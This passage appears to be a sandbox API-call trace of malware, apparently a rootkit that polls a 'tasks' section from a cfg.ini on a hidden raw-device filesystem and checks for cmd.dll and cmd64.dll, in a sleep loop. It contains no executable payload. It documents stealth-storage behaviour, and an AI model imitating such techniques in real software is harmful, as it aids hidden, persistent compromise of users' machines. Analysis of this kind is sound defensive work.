ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.490] KeLeaveCriticalRegion () [0118.490] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.490] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.490] KeEnterCriticalRegion () [0118.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.490] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.491] KeLeaveCriticalRegion () [0118.491] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.491] KeEnterCriticalRegion () [0118.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.491] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.491] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c5ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.491] KeLeaveCriticalRegion () [0118.491] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.491] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.491] KeEnterCriticalRegion () [0118.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.491] ExFreePoolWithTag (P=0xfffffa80039c5e10, Tag=0x0) [0118.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.491] KeLeaveCriticalRegion () [0118.491] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.491] ReleaseMutex (hMutex=0xf0) returned 1 [0118.491] Sleep (dwMilliseconds=0x927c0) [0118.506] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.506] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.506] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.506] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.507] KeEnterCriticalRegion () [0118.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.507] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.507] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.507] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.507] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.507] IdePortDispatch () returned 0x103 [0118.507] KeWaitForMutexObject () returned 0x0 [0118.507] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.507] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.507] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.507] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.507] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.507] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdfde0 [0118.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.507] KeLeaveCriticalRegion () [0118.507] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.507] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.507] KeEnterCriticalRegion () [0118.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.507] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.507] KeLeaveCriticalRegion () [0118.507] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.507] KeEnterCriticalRegion () [0118.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.507] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.507] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.507] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.507] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.507] IdePortDispatch () returned 0x103 [0118.508] KeWaitForMutexObject () returned 0x0 [0118.508] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.508] KeLeaveCriticalRegion () [0118.508] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.508] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.508] KeEnterCriticalRegion () [0118.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.508] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cec000 [0118.508] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.508] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.508] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.508] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.508] IdePortDispatch () returned 0x103 [0118.508] KeWaitForMutexObject () returned 0x0 [0118.508] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.508] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.508] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.508] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.508] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.508] IdePortDispatch () returned 0x103 [0118.508] KeWaitForMutexObject () returned 0x0 [0118.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.508] KeLeaveCriticalRegion () [0118.508] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.509] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.509] KeEnterCriticalRegion () [0118.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.509] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.509] KeLeaveCriticalRegion () [0118.509] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.509] KeEnterCriticalRegion () [0118.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.509] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.509] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.509] KeLeaveCriticalRegion () [0118.509] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.509] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.509] KeEnterCriticalRegion () [0118.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.509] ExFreePoolWithTag (P=0xfffffa8003bdfde0, Tag=0x0) [0118.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.509] KeLeaveCriticalRegion () [0118.509] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.509] ReleaseMutex (hMutex=0xf0) returned 1 [0118.509] Sleep (dwMilliseconds=0x927c0) [0118.520] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.520] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.532] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.532] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.532] KeEnterCriticalRegion () [0118.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.532] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.532] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.532] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.532] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.532] IdePortDispatch () returned 0x103 [0118.532] KeWaitForMutexObject () returned 0x0 [0118.532] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.532] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.532] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.532] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.533] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.533] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cdd10 [0118.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.533] KeLeaveCriticalRegion () [0118.533] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.533] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.533] KeEnterCriticalRegion () [0118.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.533] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.533] KeLeaveCriticalRegion () [0118.533] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.533] KeEnterCriticalRegion () [0118.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.533] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.533] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.533] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.533] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.533] IdePortDispatch () returned 0x103 [0118.533] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.533] KeLeaveCriticalRegion () [0118.533] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.533] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.533] KeEnterCriticalRegion () [0118.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.533] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d77000 [0118.533] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.533] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.533] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.533] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.533] IdePortDispatch () returned 0x103 [0118.534] KeWaitForMutexObject () returned 0x0 [0118.534] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.534] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.534] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.534] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.534] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.534] IdePortDispatch () returned 0x103 [0118.534] KeWaitForMutexObject () returned 0x0 [0118.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.534] KeLeaveCriticalRegion () [0118.534] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.534] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.534] KeEnterCriticalRegion () [0118.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.534] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.535] KeLeaveCriticalRegion () [0118.535] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.535] KeEnterCriticalRegion () [0118.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.535] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.535] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.535] KeLeaveCriticalRegion () [0118.535] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.535] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.535] KeEnterCriticalRegion () [0118.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.535] ExFreePoolWithTag (P=0xfffffa80039cdd10, Tag=0x0) [0118.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.535] KeLeaveCriticalRegion () [0118.535] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.535] ReleaseMutex (hMutex=0xf0) returned 1 [0118.535] Sleep (dwMilliseconds=0x927c0) [0118.557] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.557] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.557] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.557] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.557] KeEnterCriticalRegion () [0118.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.557] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.557] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.557] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.557] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.557] IdePortDispatch () returned 0x103 [0118.557] KeWaitForMutexObject () returned 0x0 [0118.557] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.557] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.557] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.557] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.557] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.558] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c5e10 [0118.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.558] KeLeaveCriticalRegion () [0118.558] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.558] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.558] KeEnterCriticalRegion () [0118.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.558] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.558] KeLeaveCriticalRegion () [0118.558] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.558] KeEnterCriticalRegion () [0118.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.558] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.558] IdePortDispatch () returned 0x103 [0118.558] KeWaitForMutexObject () returned 0x0 [0118.558] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.558] KeLeaveCriticalRegion () [0118.558] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.558] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.558] KeEnterCriticalRegion () [0118.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.558] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003511000 [0118.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.558] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.558] IdePortDispatch () returned 0x103 [0118.559] KeWaitForMutexObject () returned 0x0 [0118.559] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.559] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.559] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.559] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.559] IdePortDispatch () returned 0x103 [0118.559] KeWaitForMutexObject () returned 0x0 [0118.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.559] KeLeaveCriticalRegion () [0118.559] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.560] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.560] KeEnterCriticalRegion () [0118.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.560] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.560] KeLeaveCriticalRegion () [0118.560] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.560] KeEnterCriticalRegion () [0118.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.560] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.560] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003649ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.560] KeLeaveCriticalRegion () [0118.560] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.560] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.560] KeEnterCriticalRegion () [0118.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.560] ExFreePoolWithTag (P=0xfffffa80039c5e10, Tag=0x0) [0118.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.560] KeLeaveCriticalRegion () [0118.560] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.560] ReleaseMutex (hMutex=0xf0) returned 1 [0118.560] Sleep (dwMilliseconds=0x927c0) [0118.576] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) 